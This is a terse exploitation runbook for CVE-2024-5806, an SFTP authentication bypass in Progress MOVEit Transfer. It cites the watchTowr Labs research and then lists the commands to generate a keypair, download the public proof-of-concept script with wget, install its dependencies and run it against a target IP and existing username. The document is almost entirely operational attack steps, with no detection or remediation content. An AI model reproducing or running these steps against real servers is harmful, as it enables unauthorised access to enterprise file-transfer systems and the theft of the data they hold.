Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806)

• Auth. Bypass In (Un)Limited Scenarios – Progress MOVEit Transfer (CVE-2024-5806) (watchTowr Labs)
• watchTowr-vs-progress-moveit_CVE-2024-5806 (GitHub)

Generate the keypair in both PEM and PPK format

sudo apt-get install openssh-client putty-tools
puttygen -t rsa -b 2048 -o putty_key.ppk
Enter passphrase to save key:
Re-enter passphrase to verify:
puttygen putty_key.ppk -O private-openssh -o id_rsa

CVE-2024-5806

wget -O CVE-2024-5806.py https://raw.githubusercontent.com/watchtowrlabs/watchTowr-vs-progress-moveit_CVE-2024-5806/main/watchTowr-vs-progress-moveit_cve-2024-5806.py

sudo apt install python3-paramiko
sudo apt install python3-requests
sudo apt install python3-urllib3

python3 CVE-2024-5806.py --help

IP=x.x.x.x
USERNAME=someExistingUser

python3 CVE-2024-5806.py --target-ip $IP --target-user $USERNAME --ppk putty_key.ppk --pem id_rsa